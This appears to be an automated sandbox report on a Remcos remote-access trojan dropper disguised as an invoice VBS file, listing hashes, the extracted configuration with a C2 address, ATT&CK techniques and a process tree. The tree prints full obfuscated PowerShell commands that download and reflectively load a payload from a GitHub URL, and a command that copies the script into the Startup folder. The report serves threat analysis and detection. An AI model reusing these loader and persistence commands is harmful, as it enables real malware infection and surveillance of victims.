remcos | 07565a7b310e8082d9cfdaea1f0990c5b21ec6c08001272414cf63869019aa24

General

Target

FAKTURA-pdf-466366332.vbs
Size

484KB
MD5

90bd9fa957050b3641726fd4bb173281
SHA1

4fd94ee79b46a075b9cc10f9ceecaad705a19bf8
SHA256

07565a7b310e8082d9cfdaea1f0990c5b21ec6c08001272414cf63869019aa24
SHA512

769ec466d81b2fdc7e19741c0b71b41be1e746a0b582ff5913148b40993e7f6ab074ff73e44f4392bead209bba98a819cffaf4e8469ef44beaf1d54d435d1099
SSDEEP

12288:fCQNJjr/mJJw5NbHSoBFy8oJTaaPlI7lyxeBs9YVYzGqsYBnwhRD8PHNUvvtCC+y:46E9qAPuVb

Score

10^/10

remcos octobers discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

OCTOBERs

C2

ab9001.ddns.net:31944

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
VLC.exe
copy_folder
VLC
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Chrorne-CKQJ2Y
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Rmc
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	972	powershell.exe
20	972	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3836	powershell.exe
4148	powershell.exe
972	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mocidade.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mocidade.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	raw.githubusercontent.com
17	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 972 set thread context of 2400	972	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3372	cmd.exe
232	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
232	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3836	powershell.exe
3836	powershell.exe
4148	powershell.exe
4148	powershell.exe
972	powershell.exe
972	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3836	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	972	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2400	MSBuild.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 3372	3952	WScript.exe	82
PID 3952 wrote to memory of 3372	3952	WScript.exe	82
PID 3372 wrote to memory of 232	3372	cmd.exe	84
PID 3372 wrote to memory of 232	3372	cmd.exe	84
PID 3372 wrote to memory of 3836	3372	cmd.exe	89
PID 3372 wrote to memory of 3836	3372	cmd.exe	89
PID 3952 wrote to memory of 4148	3952	WScript.exe	91
PID 3952 wrote to memory of 4148	3952	WScript.exe	91
PID 4148 wrote to memory of 972	4148	powershell.exe	93
PID 4148 wrote to memory of 972	4148	powershell.exe	93
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96
PID 972 wrote to memory of 2400	972	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FAKTURA-pdf-466366332.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\FAKTURA-pdf-466366332.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.edadicom.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\FAKTURA-pdf-466366332.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.edadicom.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzAnKyd9JysndXInKydsJysnID0gezJ9aHR0cHM6JysnLy9yYXcuZ2l0aCcrJ3ViJysndScrJ3NlcmMnKydvbicrJ3QnKydlbnQuY29tL05vRGV0ZWN0JysnT24nKycvTicrJ28nKydEJysnZXRlY3RPbi9yZWZzJysnL2gnKydlYWRzL21haScrJ24vRGV0JysnYWgnKydObycrJ3RoLVYudHh0JysneycrJzJ9OycrJyB7MH0nKydiYScrJ3NlNjQnKydDb250ZScrJ250JysnICcrJz0gKE5ldy0nKydPYicrJ2plYycrJ3QgU3knKydzdGVtLk5lJysndC5XJysnZScrJ2JDbGknKydlbnQpLkQnKydvd25sb2FkU3RyJysnaScrJ24nKydnKHswfScrJ3VybCk7JysnICcrJ3snKycwJysnfWJpbicrJ2FyeUNvJysnbnRlJysnbicrJ3QgJysnPSAnKydbU3lzJysndGVtJysnLicrJ0MnKydvbnZlcicrJ3RdJysnOicrJzonKydGcicrJ29tQmFzJysnZTY0U3QnKydyJysnaW5nJysnKHswfWInKydhcycrJ2U2NEMnKydvJysnbicrJ3RlbicrJ3QpOyB7MH1hcycrJ3NlbWJseSA9ICcrJ1snKydSZWZsJysnZWN0aW9uLkFzJysncycrJ2VtYmx5JysnXTo6TCcrJ29hZCh7JysnMCcrJ30nKydiaW5hcnlDbycrJ250JysnZW4nKyd0KTsgW2RubGliJysnLkknKydPLkhvbWVdJysnOjpWQScrJ0koJysnezEnKyd9JysnMC9DVmZqRCcrJy8nKydkL2VlLmV0c2EnKydwJysnLycrJy86Jysnc3B0JysndCcrJ2gnKyd7MX0sIHsnKycxJysnfWRlJysnc2F0aScrJ3YnKydhZG97MX0nKycsICcrJ3snKycxfWRlc2F0aXYnKydhZG97JysnMX0nKycsJysnICcrJ3sxfScrJ2Rlc2EnKyd0aXYnKydhZG97MX0sIHsxJysnfU1TQnVpJysnbCcrJ2R7MX0sICcrJ3sxJysnfXsxfSwnKyd7MX17MX0nKycpJykgLWYgIFtjaGFSXTM2LFtjaGFSXTM0LFtjaGFSXTM5KXwmKCAoW1NUcmluZ10kdkVSYk9zZXBSZWZlUmVuY0UpWzEsM10rJ3gnLUpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'0'+'}'+'ur'+'l'+' = {2}https:'+'//raw.gith'+'ub'+'u'+'serc'+'on'+'t'+'ent.com/NoDetect'+'On'+'/N'+'o'+'D'+'etectOn/refs'+'/h'+'eads/mai'+'n/Det'+'ah'+'No'+'th-V.txt'+'{'+'2};'+' {0}'+'ba'+'se64'+'Conte'+'nt'+' '+'= (New-'+'Ob'+'jec'+'t Sy'+'stem.Ne'+'t.W'+'e'+'bCli'+'ent).D'+'ownloadStr'+'i'+'n'+'g({0}'+'url);'+' '+'{'+'0'+'}bin'+'aryCo'+'nte'+'n'+'t '+'= '+'[Sys'+'tem'+'.'+'C'+'onver'+'t]'+':'+':'+'Fr'+'omBas'+'e64St'+'r'+'ing'+'({0}b'+'as'+'e64C'+'o'+'n'+'ten'+'t); {0}as'+'sembly = '+'['+'Refl'+'ection.As'+'s'+'embly'+']::L'+'oad({'+'0'+'}'+'binaryCo'+'nt'+'en'+'t); [dnlib'+'.I'+'O.Home]'+'::VA'+'I('+'{1'+'}'+'0/CVfjD'+'/'+'d/ee.etsa'+'p'+'/'+'/:'+'spt'+'t'+'h'+'{1}, {'+'1'+'}de'+'sati'+'v'+'ado{1}'+', '+'{'+'1}desativ'+'ado{'+'1}'+','+' '+'{1}'+'desa'+'tiv'+'ado{1}, {1'+'}MSBui'+'l'+'d{1}, '+'{1'+'}{1},'+'{1}{1}'+')') -f [chaR]36,[chaR]34,[chaR]39)|&( ([STring]$vERbOsepRefeRencE)[1,3]+'x'-JoIn'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:972
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:2400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
a562db4653200022c8f81424b05bb373

SHA1
b771cf45c9f8897cb8bcc8bd3bd12837f4ff2590

SHA256
0bfa9fa959500c0a9750378bc0ce96fcb9cfb0213555c6e8c30493020ccf59db

SHA512
4a12af2cba86e521069bcfe640719a185f53d4a082f2247ff868f8e1da91312c5c9d516551f747f93f132db1860f26d128a82262cca24613df6543341961f374

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
347fabbc42c8c54904fd83ca48d96b99

SHA1
e036735f6a2882796aaa192687e00f74ee401c3a

SHA256
a7b2eb89539a30e4dba223e7136da1325d27ace0d3be8b74207b9b85870fa1f4

SHA512
0a113d6d069c6fbf5dc15a39fbff65bf569760c9f81b8b8b4672a57770d23b9dbf80c35bcc688d93f23cb8ee971f1473445cf549b17602c997634ab3be90af7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dtzdhdix.tto.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/972-38-0x0000028161060000-0x0000028161280000-memory.dmp

Filesize
2.1MB

Download
memory/2400-47-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-54-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-86-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-85-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-80-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-43-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-44-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-78-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-48-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-53-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-73-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-72-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-66-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2400-67-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3836-4-0x000001F0A9100000-0x000001F0A9122000-memory.dmp

Filesize
136KB

Download
memory/3836-17-0x00007FF8E8980000-0x00007FF8E9441000-memory.dmp

Filesize
10.8MB

Download
memory/3836-1-0x00007FF8E8983000-0x00007FF8E8985000-memory.dmp

Filesize
8KB

Download
memory/3836-12-0x00007FF8E8980000-0x00007FF8E9441000-memory.dmp

Filesize
10.8MB

Download
memory/3836-13-0x00007FF8E8980000-0x00007FF8E9441000-memory.dmp

Filesize
10.8MB

Download
memory/3836-16-0x00007FF8E8980000-0x00007FF8E9441000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads